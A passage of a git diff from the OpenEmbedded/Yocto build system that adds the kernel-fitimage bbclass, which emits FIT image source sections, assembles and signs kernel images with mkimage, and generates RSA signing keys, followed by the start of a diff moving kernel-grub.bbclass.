+ uarch = d.getVar("UBOOT_ARCH")
+ if uarch == "arm64":
+ replacementtype = "Image"
+ elif uarch == "riscv":
+ replacementtype = "Image"
+ elif uarch == "mips":
+ replacementtype = "vmlinuz.bin"
+ elif uarch == "x86":
+ replacementtype = "bzImage"
+ elif uarch == "microblaze":
+ replacementtype = "linux.bin"
+ else:
+ replacementtype = "zImage"
+ return replacementtype
+
+KERNEL_IMAGETYPE_REPLACEMENT ?= "${@get_fit_replacement_type(d)}"
+DEPENDS:append = " ${@'u-boot-tools-native dtc-native' if 'fitImage' in (d.getVar('KERNEL_IMAGETYPES') or '').split() else ''}"
+
+python __anonymous () {
+ # Override KERNEL_IMAGETYPE_FOR_MAKE variable, which is internal
+ # to kernel.bbclass . We have to override it, since we pack zImage
+ # (at least for now) into the fitImage .
+ typeformake = d.getVar("KERNEL_IMAGETYPE_FOR_MAKE") or ""
+ if 'fitImage' in typeformake.split():
+ d.setVar('KERNEL_IMAGETYPE_FOR_MAKE', typeformake.replace('fitImage', d.getVar('KERNEL_IMAGETYPE_REPLACEMENT')))
+
+ image = d.getVar('INITRAMFS_IMAGE')
+ if image:
+ d.appendVarFlag('do_assemble_fitimage_initramfs', 'depends', ' ${INITRAMFS_IMAGE}:do_image_complete')
+
+ ubootenv = d.getVar('UBOOT_ENV')
+ if ubootenv:
+ d.appendVarFlag('do_assemble_fitimage', 'depends', ' virtual/bootloader:do_populate_sysroot')
+
+ #check if there are any dtb providers
+ providerdtb = d.getVar("PREFERRED_PROVIDER_virtual/dtb")
+ if providerdtb:
+ d.appendVarFlag('do_assemble_fitimage', 'depends', ' virtual/dtb:do_populate_sysroot')
+ d.appendVarFlag('do_assemble_fitimage_initramfs', 'depends', ' virtual/dtb:do_populate_sysroot')
+ d.setVar('EXTERNAL_KERNEL_DEVICETREE', "${RECIPE_SYSROOT}/boot/devicetree")
+}
+
+
+# Description string
+FIT_DESC ?= "Kernel fitImage for ${DISTRO_NAME}/${PV}/${MACHINE}"
+
+# Kernel fitImage Hash Algo
+FIT_HASH_ALG ?= "sha256"
+
+# Kernel fitImage Signature Algo
+FIT_SIGN_ALG ?= "rsa2048"
+
+# Kernel / U-Boot fitImage Padding Algo
+FIT_PAD_ALG ?= "pkcs-1.5"
+
+# Generate keys for signing Kernel fitImage
+FIT_GENERATE_KEYS ?= "0"
+
+# Size of private keys in number of bits
+FIT_SIGN_NUMBITS ?= "2048"
+
+# args to openssl genrsa (Default is just the public exponent)
+FIT_KEY_GENRSA_ARGS ?= "-F4"
+
+# args to openssl req (Default is -batch for non interactive mode and
+# -new for new certificate)
+FIT_KEY_REQ_ARGS ?= "-batch -new"
+
+# Standard format for public key certificate
+FIT_KEY_SIGN_PKCS ?= "-x509"
+
+# Sign individual images as well
+FIT_SIGN_INDIVIDUAL ?= "0"
+
+FIT_CONF_PREFIX ?= "conf-"
+FIT_CONF_PREFIX[doc] = "Prefix to use for FIT configuration node name"
+
+FIT_SUPPORTED_INITRAMFS_FSTYPES ?= "cpio.lz4 cpio.lzo cpio.lzma cpio.xz cpio.zst cpio.gz ext2.gz cpio"
+
+# Allow user to select the default DTB for FIT image when multiple dtb's exists.
+FIT_CONF_DEFAULT_DTB ?= ""
+
+# length of address in number of <u32> cells
+# ex: 1 32bits address, 2 64bits address
+FIT_ADDRESS_CELLS ?= "1"
+
+# Keys used to sign individually image nodes.
+# The keys to sign image nodes must be different from those used to sign
+# configuration nodes, otherwise the "required" property, from
+# UBOOT_DTB_BINARY, will be set to "conf", because "conf" prevails on "image".
+# Then the images signature checking will not be mandatory and no error will be
+# raised in case of failure.
+# UBOOT_SIGN_IMG_KEYNAME = "dev2" # keys name in keydir (eg. "dev2.crt", "dev2.key")
+
+#
+# Emit the fitImage ITS header
+#
+# $1 ... .its filename
+fitimage_emit_fit_header() {
+ cat << EOF >> $1
+/dts-v1/;
+
+/ {
+ description = "${FIT_DESC}";
+ #address-cells = <${FIT_ADDRESS_CELLS}>;
+EOF
+}
+
+#
+# Emit the fitImage section bits
+#
+# $1 ... .its filename
+# $2 ... Section bit type: imagestart - image section start
+# confstart - configuration section start
+# sectend - section end
+# fitend - fitimage end
+#
+fitimage_emit_section_maint() {
+ case $2 in
+ imagestart)
+ cat << EOF >> $1
+
+ images {
+EOF
+ ;;
+ confstart)
+ cat << EOF >> $1
+
+ configurations {
+EOF
+ ;;
+ sectend)
+ cat << EOF >> $1
+ };
+EOF
+ ;;
+ fitend)
+ cat << EOF >> $1
+};
+EOF
+ ;;
+ esac
+}
+
+#
+# Emit the fitImage ITS kernel section
+#
+# $1 ... .its filename
+# $2 ... Image counter
+# $3 ... Path to kernel image
+# $4 ... Compression type
+fitimage_emit_section_kernel() {
+
+ kernel_csum="${FIT_HASH_ALG}"
+ kernel_sign_algo="${FIT_SIGN_ALG}"
+ kernel_sign_keyname="${UBOOT_SIGN_IMG_KEYNAME}"
+
+ ENTRYPOINT="${UBOOT_ENTRYPOINT}"
+ if [ -n "${UBOOT_ENTRYSYMBOL}" ]; then
+ ENTRYPOINT=`${HOST_PREFIX}nm vmlinux | \
+ awk '$3=="${UBOOT_ENTRYSYMBOL}" {print "0x"$1;exit}'`
+ fi
+
+ cat << EOF >> $1
+ kernel-$2 {
+ description = "Linux kernel";
+ data = /incbin/("$3");
+ type = "${UBOOT_MKIMAGE_KERNEL_TYPE}";
+ arch = "${UBOOT_ARCH}";
+ os = "linux";
+ compression = "$4";
+ load = <${UBOOT_LOADADDRESS}>;
+ entry = <$ENTRYPOINT>;
+ hash-1 {
+ algo = "$kernel_csum";
+ };
+ };
+EOF
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${FIT_SIGN_INDIVIDUAL}" = "1" -a -n "$kernel_sign_keyname" ] ; then
+ sed -i '$ d' $1
+ cat << EOF >> $1
+ signature-1 {
+ algo = "$kernel_csum,$kernel_sign_algo";
+ key-name-hint = "$kernel_sign_keyname";
+ };
+ };
+EOF
+ fi
+}
+
+#
+# Emit the fitImage ITS DTB section
+#
+# $1 ... .its filename
+# $2 ... Image counter
+# $3 ... Path to DTB image
+fitimage_emit_section_dtb() {
+
+ dtb_csum="${FIT_HASH_ALG}"
+ dtb_sign_algo="${FIT_SIGN_ALG}"
+ dtb_sign_keyname="${UBOOT_SIGN_IMG_KEYNAME}"
+
+ dtb_loadline=""
+ dtb_ext=${DTB##*.}
+ if [ "${dtb_ext}" = "dtbo" ]; then
+ if [ -n "${UBOOT_DTBO_LOADADDRESS}" ]; then
+ dtb_loadline="load = <${UBOOT_DTBO_LOADADDRESS}>;"
+ fi
+ elif [ -n "${UBOOT_DTB_LOADADDRESS}" ]; then
+ dtb_loadline="load = <${UBOOT_DTB_LOADADDRESS}>;"
+ fi
+ cat << EOF >> $1
+ fdt-$2 {
+ description = "Flattened Device Tree blob";
+ data = /incbin/("$3");
+ type = "flat_dt";
+ arch = "${UBOOT_ARCH}";
+ compression = "none";
+ $dtb_loadline
+ hash-1 {
+ algo = "$dtb_csum";
+ };
+ };
+EOF
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${FIT_SIGN_INDIVIDUAL}" = "1" -a -n "$dtb_sign_keyname" ] ; then
+ sed -i '$ d' $1
+ cat << EOF >> $1
+ signature-1 {
+ algo = "$dtb_csum,$dtb_sign_algo";
+ key-name-hint = "$dtb_sign_keyname";
+ };
+ };
+EOF
+ fi
+}
+
+#
+# Emit the fitImage ITS u-boot script section
+#
+# $1 ... .its filename
+# $2 ... Image counter
+# $3 ... Path to boot script image
+fitimage_emit_section_boot_script() {
+
+ bootscr_csum="${FIT_HASH_ALG}"
+ bootscr_sign_algo="${FIT_SIGN_ALG}"
+ bootscr_sign_keyname="${UBOOT_SIGN_IMG_KEYNAME}"
+
+ cat << EOF >> $1
+ bootscr-$2 {
+ description = "U-boot script";
+ data = /incbin/("$3");
+ type = "script";
+ arch = "${UBOOT_ARCH}";
+ compression = "none";
+ hash-1 {
+ algo = "$bootscr_csum";
+ };
+ };
+EOF
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${FIT_SIGN_INDIVIDUAL}" = "1" -a -n "$bootscr_sign_keyname" ] ; then
+ sed -i '$ d' $1
+ cat << EOF >> $1
+ signature-1 {
+ algo = "$bootscr_csum,$bootscr_sign_algo";
+ key-name-hint = "$bootscr_sign_keyname";
+ };
+ };
+EOF
+ fi
+}
+
+#
+# Emit the fitImage ITS setup section
+#
+# $1 ... .its filename
+# $2 ... Image counter
+# $3 ... Path to setup image
+fitimage_emit_section_setup() {
+
+ setup_csum="${FIT_HASH_ALG}"
+
+ cat << EOF >> $1
+ setup-$2 {
+ description = "Linux setup.bin";
+ data = /incbin/("$3");
+ type = "x86_setup";
+ arch = "${UBOOT_ARCH}";
+ os = "linux";
+ compression = "none";
+ load = <0x00090000>;
+ entry = <0x00090000>;
+ hash-1 {
+ algo = "$setup_csum";
+ };
+ };
+EOF
+}
+
+#
+# Emit the fitImage ITS ramdisk section
+#
+# $1 ... .its filename
+# $2 ... Image counter
+# $3 ... Path to ramdisk image
+fitimage_emit_section_ramdisk() {
+
+ ramdisk_csum="${FIT_HASH_ALG}"
+ ramdisk_sign_algo="${FIT_SIGN_ALG}"
+ ramdisk_sign_keyname="${UBOOT_SIGN_IMG_KEYNAME}"
+ ramdisk_loadline=""
+ ramdisk_entryline=""
+
+ if [ -n "${UBOOT_RD_LOADADDRESS}" ]; then
+ ramdisk_loadline="load = <${UBOOT_RD_LOADADDRESS}>;"
+ fi
+ if [ -n "${UBOOT_RD_ENTRYPOINT}" ]; then
+ ramdisk_entryline="entry = <${UBOOT_RD_ENTRYPOINT}>;"
+ fi
+
+ cat << EOF >> $1
+ ramdisk-$2 {
+ description = "${INITRAMFS_IMAGE}";
+ data = /incbin/("$3");
+ type = "ramdisk";
+ arch = "${UBOOT_ARCH}";
+ os = "linux";
+ compression = "none";
+ $ramdisk_loadline
+ $ramdisk_entryline
+ hash-1 {
+ algo = "$ramdisk_csum";
+ };
+ };
+EOF
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${FIT_SIGN_INDIVIDUAL}" = "1" -a -n "$ramdisk_sign_keyname" ] ; then
+ sed -i '$ d' $1
+ cat << EOF >> $1
+ signature-1 {
+ algo = "$ramdisk_csum,$ramdisk_sign_algo";
+ key-name-hint = "$ramdisk_sign_keyname";
+ };
+ };
+EOF
+ fi
+}
+
+#
+# echoes symlink destination if it points below directory
+#
+# $1 ... file that's a potential symlink
+# $2 ... expected parent directory
+symlink_points_below() {
+ file="$2/$1"
+ dir=$2
+
+ if ! [ -L "$file" ]; then
+ return
+ fi
+
+ realpath="$(realpath --relative-to=$dir $file)"
+ if [ -z "${realpath%%../*}" ]; then
+ return
+ fi
+
+ echo "$realpath"
+}
+
+#
+# Emit the fitImage ITS configuration section
+#
+# $1 ... .its filename
+# $2 ... Linux kernel ID
+# $3 ... DTB image name
+# $4 ... ramdisk ID
+# $5 ... u-boot script ID
+# $6 ... config ID
+# $7 ... default flag
+# $8 ... default DTB image name
+fitimage_emit_section_config() {
+
+ conf_csum="${FIT_HASH_ALG}"
+ conf_sign_algo="${FIT_SIGN_ALG}"
+ conf_padding_algo="${FIT_PAD_ALG}"
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" ] ; then
+ conf_sign_keyname="${UBOOT_SIGN_KEYNAME}"
+ fi
+
+ its_file="$1"
+ kernel_id="$2"
+ dtb_image="$3"
+ ramdisk_id="$4"
+ bootscr_id="$5"
+ config_id="$6"
+ default_flag="$7"
+ default_dtb_image="$8"
+
+ # Test if we have any DTBs at all
+ sep=""
+ conf_desc=""
+ conf_node="${FIT_CONF_PREFIX}"
+ kernel_line=""
+ fdt_line=""
+ ramdisk_line=""
+ bootscr_line=""
+ setup_line=""
+ default_line=""
+ compatible_line=""
+
+ dtb_image_sect=$(symlink_points_below $dtb_image "${EXTERNAL_KERNEL_DEVICETREE}")
+ if [ -z "$dtb_image_sect" ]; then
+ dtb_image_sect=$dtb_image
+ fi
+
+ dtb_path="${EXTERNAL_KERNEL_DEVICETREE}/${dtb_image_sect}"
+ if [ -e "$dtb_path" ]; then
+ compat=$(fdtget -t s "$dtb_path" / compatible | sed 's/ /", "/g')
+ if [ -n "$compat" ]; then
+ compatible_line="compatible = \"$compat\";"
+ fi
+ fi
+
+ dtb_image=$(echo $dtb_image | tr '/' '_')
+ dtb_image_sect=$(echo "${dtb_image_sect}" | tr '/' '_')
+
+ # conf node name is selected based on dtb ID if it is present,
+ # otherwise its selected based on kernel ID
+ if [ -n "$dtb_image" ]; then
+ conf_node=$conf_node$dtb_image
+ else
+ conf_node=$conf_node$kernel_id
+ fi
+
+ if [ -n "$kernel_id" ]; then
+ conf_desc="Linux kernel"
+ sep=", "
+ kernel_line="kernel = \"kernel-$kernel_id\";"
+ fi
+
+ if [ -n "$dtb_image" ]; then
+ conf_desc="$conf_desc${sep}FDT blob"
+ sep=", "
+ fdt_line="fdt = \"fdt-$dtb_image_sect\";"
+ fi
+
+ if [ -n "$ramdisk_id" ]; then
+ conf_desc="$conf_desc${sep}ramdisk"
+ sep=", "
+ ramdisk_line="ramdisk = \"ramdisk-$ramdisk_id\";"
+ fi
+
+ if [ -n "$bootscr_id" ]; then
+ conf_desc="$conf_desc${sep}u-boot script"
+ sep=", "
+ bootscr_line="bootscr = \"bootscr-$bootscr_id\";"
+ fi
+
+ if [ -n "$config_id" ]; then
+ conf_desc="$conf_desc${sep}setup"
+ setup_line="setup = \"setup-$config_id\";"
+ fi
+
+ if [ "$default_flag" = "1" ]; then
+ # default node is selected based on dtb ID if it is present,
+ # otherwise its selected based on kernel ID
+ if [ -n "$dtb_image" ]; then
+ # Select default node as user specified dtb when
+ # multiple dtb exists.
+ if [ -n "$default_dtb_image" ]; then
+ default_line="default = \"${FIT_CONF_PREFIX}$default_dtb_image\";"
+ else
+ default_line="default = \"${FIT_CONF_PREFIX}$dtb_image\";"
+ fi
+ else
+ default_line="default = \"${FIT_CONF_PREFIX}$kernel_id\";"
+ fi
+ fi
+
+ cat << EOF >> $its_file
+ $default_line
+ $conf_node {
+ description = "$default_flag $conf_desc";
+ $compatible_line
+ $kernel_line
+ $fdt_line
+ $ramdisk_line
+ $bootscr_line
+ $setup_line
+ hash-1 {
+ algo = "$conf_csum";
+ };
+EOF
+
+ if [ -n "$conf_sign_keyname" ] ; then
+
+ sign_line="sign-images = "
+ sep=""
+
+ if [ -n "$kernel_id" ]; then
+ sign_line="$sign_line${sep}\"kernel\""
+ sep=", "
+ fi
+
+ if [ -n "$dtb_image" ]; then
+ sign_line="$sign_line${sep}\"fdt\""
+ sep=", "
+ fi
+
+ if [ -n "$ramdisk_id" ]; then
+ sign_line="$sign_line${sep}\"ramdisk\""
+ sep=", "
+ fi
+
+ if [ -n "$bootscr_id" ]; then
+ sign_line="$sign_line${sep}\"bootscr\""
+ sep=", "
+ fi
+
+ if [ -n "$config_id" ]; then
+ sign_line="$sign_line${sep}\"setup\""
+ fi
+
+ sign_line="$sign_line;"
+
+ cat << EOF >> $its_file
+ signature-1 {
+ algo = "$conf_csum,$conf_sign_algo";
+ key-name-hint = "$conf_sign_keyname";
+ padding = "$conf_padding_algo";
+ $sign_line
+ };
+EOF
+ fi
+
+ cat << EOF >> $its_file
+ };
+EOF
+}
+
+#
+# Assemble fitImage
+#
+# $1 ... .its filename
+# $2 ... fitImage name
+# $3 ... include ramdisk
+fitimage_assemble() {
+ kernelcount=1
+ dtbcount=""
+ DTBS=""
+ ramdiskcount=$3
+ setupcount=""
+ bootscr_id=""
+ default_dtb_image=""
+ rm -f $1 arch/${ARCH}/boot/$2
+
+ if [ -n "${UBOOT_SIGN_IMG_KEYNAME}" -a "${UBOOT_SIGN_KEYNAME}" = "${UBOOT_SIGN_IMG_KEYNAME}" ]; then
+ bbfatal "Keys used to sign images and configuration nodes must be different."
+ fi
+
+ fitimage_emit_fit_header $1
+
+ #
+ # Step 1: Prepare a kernel image section.
+ #
+ fitimage_emit_section_maint $1 imagestart
+
+ uboot_prep_kimage
+ fitimage_emit_section_kernel $1 $kernelcount linux.bin "$linux_comp"
+
+ #
+ # Step 2: Prepare a DTB image section
+ #
+
+ if [ -n "${KERNEL_DEVICETREE}" ]; then
+ dtbcount=1
+ for DTB in ${KERNEL_DEVICETREE}; do
+ if echo $DTB | grep -q '/dts/'; then
+ bbwarn "$DTB contains the full path to the the dts file, but only the dtb name should be used."
+ DTB=`basename $DTB | sed 's,\.dts$,.dtb,g'`
+ fi
+
+ # Skip ${DTB} if it's also provided in ${EXTERNAL_KERNEL_DEVICETREE}
+ if [ -n "${EXTERNAL_KERNEL_DEVICETREE}" ] && [ -s ${EXTERNAL_KERNEL_DEVICETREE}/${DTB} ]; then
+ continue
+ fi
+
+ DTB_PATH="${KERNEL_OUTPUT_DIR}/dts/$DTB"
+ if [ ! -e "$DTB_PATH" ]; then
+ DTB_PATH="${KERNEL_OUTPUT_DIR}/$DTB"
+ fi
+
+ # Strip off the path component from the filename
+ if "${@'false' if oe.types.boolean(d.getVar('KERNEL_DTBVENDORED')) else 'true'}"; then
+ DTB=`basename $DTB`
+ fi
+
+ # Set the default dtb image if it exists in the devicetree.
+ if [ ${FIT_CONF_DEFAULT_DTB} = $DTB ];then
+ default_dtb_image=$(echo "$DTB" | tr '/' '_')
+ fi
+
+ DTB=$(echo "$DTB" | tr '/' '_')
+
+ # Skip DTB if we've picked it up previously
+ echo "$DTBS" | tr ' ' '\n' | grep -xq "$DTB" && continue
+
+ DTBS="$DTBS $DTB"
+ DTB=$(echo $DTB | tr '/' '_')
+ fitimage_emit_section_dtb $1 $DTB $DTB_PATH
+ done
+ fi
+
+ if [ -n "${EXTERNAL_KERNEL_DEVICETREE}" ]; then
+ dtbcount=1
+ for DTB in $(find "${EXTERNAL_KERNEL_DEVICETREE}" -name '*.dtb' -printf '%P\n' | sort) \
+ $(find "${EXTERNAL_KERNEL_DEVICETREE}" -name '*.dtbo' -printf '%P\n' | sort); do
+ # Set the default dtb image if it exists in the devicetree.
+ if [ ${FIT_CONF_DEFAULT_DTB} = $DTB ];then
+ default_dtb_image=$(echo "$DTB" | tr '/' '_')
+ fi
+
+ DTB=$(echo "$DTB" | tr '/' '_')
+
+ # Skip DTB/DTBO if we've picked it up previously
+ echo "$DTBS" | tr ' ' '\n' | grep -xq "$DTB" && continue
+
+ DTBS="$DTBS $DTB"
+
+ # Also skip if a symlink. We'll later have each config section point at it
+ [ $(symlink_points_below $DTB "${EXTERNAL_KERNEL_DEVICETREE}") ] && continue
+
+ DTB=$(echo $DTB | tr '/' '_')
+ fitimage_emit_section_dtb $1 $DTB "${EXTERNAL_KERNEL_DEVICETREE}/$DTB"
+ done
+ fi
+
+ if [ -n "${FIT_CONF_DEFAULT_DTB}" ] && [ -z $default_dtb_image ]; then
+ bbwarn "${FIT_CONF_DEFAULT_DTB} is not available in the list of device trees."
+ fi
+
+ #
+ # Step 3: Prepare a u-boot script section
+ #
+
+ if [ -n "${UBOOT_ENV}" ] && [ -d "${STAGING_DIR_HOST}/boot" ]; then
+ if [ -e "${STAGING_DIR_HOST}/boot/${UBOOT_ENV_BINARY}" ]; then
+ cp ${STAGING_DIR_HOST}/boot/${UBOOT_ENV_BINARY} ${B}
+ bootscr_id="${UBOOT_ENV_BINARY}"
+ fitimage_emit_section_boot_script $1 "$bootscr_id" ${UBOOT_ENV_BINARY}
+ else
+ bbwarn "${STAGING_DIR_HOST}/boot/${UBOOT_ENV_BINARY} not found."
+ fi
+ fi
+
+ #
+ # Step 4: Prepare a setup section. (For x86)
+ #
+ if [ -e ${KERNEL_OUTPUT_DIR}/setup.bin ]; then
+ setupcount=1
+ fitimage_emit_section_setup $1 $setupcount ${KERNEL_OUTPUT_DIR}/setup.bin
+ fi
+
+ #
+ # Step 5: Prepare a ramdisk section.
+ #
+ if [ "x${ramdiskcount}" = "x1" ] && [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ]; then
+ # Find and use the first initramfs image archive type we find
+ found=
+ for img in ${FIT_SUPPORTED_INITRAMFS_FSTYPES}; do
+ initramfs_path="${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img"
+ if [ -e "$initramfs_path" ]; then
+ bbnote "Found initramfs image: $initramfs_path"
+ found=true
+ fitimage_emit_section_ramdisk $1 "$ramdiskcount" "$initramfs_path"
+ break
+ else
+ bbnote "Did not find initramfs image: $initramfs_path"
+ fi
+ done
+
+ if [ -z "$found" ]; then
+ bbfatal "Could not find a valid initramfs type for ${INITRAMFS_IMAGE_NAME}, the supported types are: ${FIT_SUPPORTED_INITRAMFS_FSTYPES}"
+ fi
+ fi
+
+ fitimage_emit_section_maint $1 sectend
+
+ # Force the first Kernel and DTB in the default config
+ kernelcount=1
+ if [ -n "$dtbcount" ]; then
+ dtbcount=1
+ fi
+
+ #
+ # Step 6: Prepare a configurations section
+ #
+ fitimage_emit_section_maint $1 confstart
+
+ # kernel-fitimage.bbclass currently only supports a single kernel (no less or
+ # more) to be added to the FIT image along with 0 or more device trees and
+ # 0 or 1 ramdisk.
+ # It is also possible to include an initramfs bundle (kernel and rootfs in one binary)
+ # When the initramfs bundle is used ramdisk is disabled.
+ # If a device tree is to be part of the FIT image, then select
+ # the default configuration to be used is based on the dtbcount. If there is
+ # no dtb present than select the default configuation to be based on
+ # the kernelcount.
+ if [ -n "$DTBS" ]; then
+ i=1
+ for DTB in ${DTBS}; do
+ dtb_ext=${DTB##*.}
+ if [ "$dtb_ext" = "dtbo" ]; then
+ fitimage_emit_section_config $1 "" "$DTB" "" "$bootscr_id" "" "`expr $i = $dtbcount`" "$default_dtb_image"
+ else
+ fitimage_emit_section_config $1 $kernelcount "$DTB" "$ramdiskcount" "$bootscr_id" "$setupcount" "`expr $i = $dtbcount`" "$default_dtb_image"
+ fi
+ i=`expr $i + 1`
+ done
+ else
+ defaultconfigcount=1
+ fitimage_emit_section_config $1 $kernelcount "" "$ramdiskcount" "$bootscr_id" "$setupcount" $defaultconfigcount "$default_dtb_image"
+ fi
+
+ fitimage_emit_section_maint $1 sectend
+
+ fitimage_emit_section_maint $1 fitend
+
+ #
+ # Step 7: Assemble the image
+ #
+ ${UBOOT_MKIMAGE} \
+ ${@'-D "${UBOOT_MKIMAGE_DTCOPTS}"' if len('${UBOOT_MKIMAGE_DTCOPTS}') else ''} \
+ -f $1 \
+ ${KERNEL_OUTPUT_DIR}/$2
+
+ #
+ # Step 8: Sign the image
+ #
+ if [ "x${UBOOT_SIGN_ENABLE}" = "x1" ] ; then
+ ${UBOOT_MKIMAGE_SIGN} \
+ ${@'-D "${UBOOT_MKIMAGE_DTCOPTS}"' if len('${UBOOT_MKIMAGE_DTCOPTS}') else ''} \
+ -F -k "${UBOOT_SIGN_KEYDIR}" \
+ -r ${KERNEL_OUTPUT_DIR}/$2 \
+ ${UBOOT_MKIMAGE_SIGN_ARGS}
+ fi
+}
+
+do_assemble_fitimage() {
+ if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage"; then
+ cd ${B}
+ fitimage_assemble fit-image.its fitImage-none ""
+ if [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ]; then
+ ln -sf fitImage-none ${B}/${KERNEL_OUTPUT_DIR}/fitImage
+ fi
+ fi
+}
+
+addtask assemble_fitimage before do_install after do_compile
+
+SYSROOT_DIRS:append = " /sysroot-only"
+do_install:append() {
+ if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage" && \
+ [ "${UBOOT_SIGN_ENABLE}" = "1" ]; then
+ install -D ${B}/${KERNEL_OUTPUT_DIR}/fitImage-none ${D}/sysroot-only/fitImage
+ fi
+}
+
+do_assemble_fitimage_initramfs() {
+ if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage" && \
+ test -n "${INITRAMFS_IMAGE}" ; then
+ cd ${B}
+ if [ "${INITRAMFS_IMAGE_BUNDLE}" = "1" ]; then
+ fitimage_assemble fit-image-${INITRAMFS_IMAGE}.its fitImage-bundle ""
+ ln -sf fitImage-bundle ${B}/${KERNEL_OUTPUT_DIR}/fitImage
+ else
+ fitimage_assemble fit-image-${INITRAMFS_IMAGE}.its fitImage-${INITRAMFS_IMAGE} 1
+ fi
+ fi
+}
+
+addtask assemble_fitimage_initramfs before do_deploy after do_bundle_initramfs
+
+do_kernel_generate_rsa_keys() {
+ if [ "${UBOOT_SIGN_ENABLE}" = "0" ] && [ "${FIT_GENERATE_KEYS}" = "1" ]; then
+ bbwarn "FIT_GENERATE_KEYS is set to 1 even though UBOOT_SIGN_ENABLE is set to 0. The keys will not be generated as they won't be used."
+ fi
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" ] && [ "${FIT_GENERATE_KEYS}" = "1" ]; then
+
+ # Generate keys to sign configuration nodes, only if they don't already exist
+ if [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".key ] || \
+ [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".crt ]; then
+
+ # make directory if it does not already exist
+ mkdir -p "${UBOOT_SIGN_KEYDIR}"
+
+ bbnote "Generating RSA private key for signing fitImage"
+ openssl genrsa ${FIT_KEY_GENRSA_ARGS} -out \
+ "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".key \
+ "${FIT_SIGN_NUMBITS}"
+
+ bbnote "Generating certificate for signing fitImage"
+ openssl req ${FIT_KEY_REQ_ARGS} "${FIT_KEY_SIGN_PKCS}" \
+ -key "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".key \
+ -out "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".crt
+ fi
+
+ # Generate keys to sign image nodes, only if they don't already exist
+ if [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".key ] || \
+ [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".crt ]; then
+
+ # make directory if it does not already exist
+ mkdir -p "${UBOOT_SIGN_KEYDIR}"
+
+ bbnote "Generating RSA private key for signing fitImage"
+ openssl genrsa ${FIT_KEY_GENRSA_ARGS} -out \
+ "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".key \
+ "${FIT_SIGN_NUMBITS}"
+
+ bbnote "Generating certificate for signing fitImage"
+ openssl req ${FIT_KEY_REQ_ARGS} "${FIT_KEY_SIGN_PKCS}" \
+ -key "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".key \
+ -out "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".crt
+ fi
+ fi
+}
+
+addtask kernel_generate_rsa_keys before do_assemble_fitimage after do_compile
+
+kernel_do_deploy[vardepsexclude] = "DATETIME"
+kernel_do_deploy:append() {
+ # Update deploy directory
+ if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage"; then
+
+ if [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ]; then
+ bbnote "Copying fit-image.its source file..."
+ install -m 0644 ${B}/fit-image.its "$deployDir/fitImage-its-${KERNEL_FIT_NAME}.its"
+ if [ -n "${KERNEL_FIT_LINK_NAME}" ] ; then
+ ln -snf fitImage-its-${KERNEL_FIT_NAME}.its "$deployDir/fitImage-its-${KERNEL_FIT_LINK_NAME}"
+ fi
+
+ bbnote "Copying linux.bin file..."
+ install -m 0644 ${B}/linux.bin $deployDir/fitImage-linux.bin-${KERNEL_FIT_NAME}${KERNEL_FIT_BIN_EXT}
+ if [ -n "${KERNEL_FIT_LINK_NAME}" ] ; then
+ ln -snf fitImage-linux.bin-${KERNEL_FIT_NAME}${KERNEL_FIT_BIN_EXT} "$deployDir/fitImage-linux.bin-${KERNEL_FIT_LINK_NAME}"
+ fi
+ fi
+
+ if [ -n "${INITRAMFS_IMAGE}" ]; then
+ bbnote "Copying fit-image-${INITRAMFS_IMAGE}.its source file..."
+ install -m 0644 ${B}/fit-image-${INITRAMFS_IMAGE}.its "$deployDir/fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.its"
+ if [ -n "${KERNEL_FIT_LINK_NAME}" ] ; then
+ ln -snf fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.its "$deployDir/fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}"
+ fi
+
+ if [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ]; then
+ bbnote "Copying fitImage-${INITRAMFS_IMAGE} file..."
+ install -m 0644 ${B}/${KERNEL_OUTPUT_DIR}/fitImage-${INITRAMFS_IMAGE} "$deployDir/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}${KERNEL_FIT_BIN_EXT}"
+ if [ -n "${KERNEL_FIT_LINK_NAME}" ] ; then
+ ln -snf fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}${KERNEL_FIT_BIN_EXT} "$deployDir/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}"
+ fi
+ fi
+ fi
+ fi
+}
diff --git a/meta/classes/kernel-grub.bbclass b/meta/classes-recipe/kernel-grub.bbclass
index 5d92f3b636..2325e635e1 100644
--- a/meta/classes/kernel-grub.bbclass
+++ b/meta/classes-recipe/kernel-grub.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# While installing a rpm to update kernel on a deployed target, it will update
# the boot area and the boot menu with the kernel as the priority but allow
# you to fall back to the original kernel as well.
